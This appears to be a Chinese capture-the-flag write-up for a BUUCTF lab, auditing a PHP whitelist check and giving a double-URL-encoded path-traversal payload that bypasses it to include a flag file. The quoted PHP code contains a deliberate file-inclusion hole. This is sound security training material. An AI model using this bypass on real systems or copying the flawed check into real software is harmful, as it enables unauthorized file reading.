点击链接进入靶场环境
http://25b27cdf-be1c-4795-bc37-c610b063df64.node3.buuoj.cn/
查看源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
发现注释中有source.php,访问得到:
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
} ?>
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
这段代码的意思是如果 file 不空、为字符串且经过emmm类的checkFile函数过滤,就执行文件包含,否则就输出滑稽图片,而需要被包含的文件就是hint.php提示的ffffllllaaaagggg。
继续审计代码前先看几个函数:
$str = 'http://www.baidu.com';
$str2 = urlencode($str);
echo $str2;
echo '
';
echo urldecode($str2);
?>
/*
输出结果:
http%3A%2F%2Fwww.baidu.com
http://www.baidu.com
*/
继续审计代码:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
这段代码的大意是获取传入的参数位数,然后截取前该位数的字符。
举个例子,传入参数是flag.php,首先经过mb_strpos获取位数,为8.然后经过mb_substr截取flag.php的前八位,也就是flag.php。
然后需要该参数在白名单里,也就是截取第一个?后的值为hint.php或source.php
然后经过url解码后再进行一次过滤,如果最后返回真,即可包含文件。
payload:
?file=source.php%253F../../../../../ffffllllaaaagggg
注: 确保url解码后能通过白名单。浏览器会解码一次,而 ? 经过一次urlencode编码为:%3f;两次为:%253f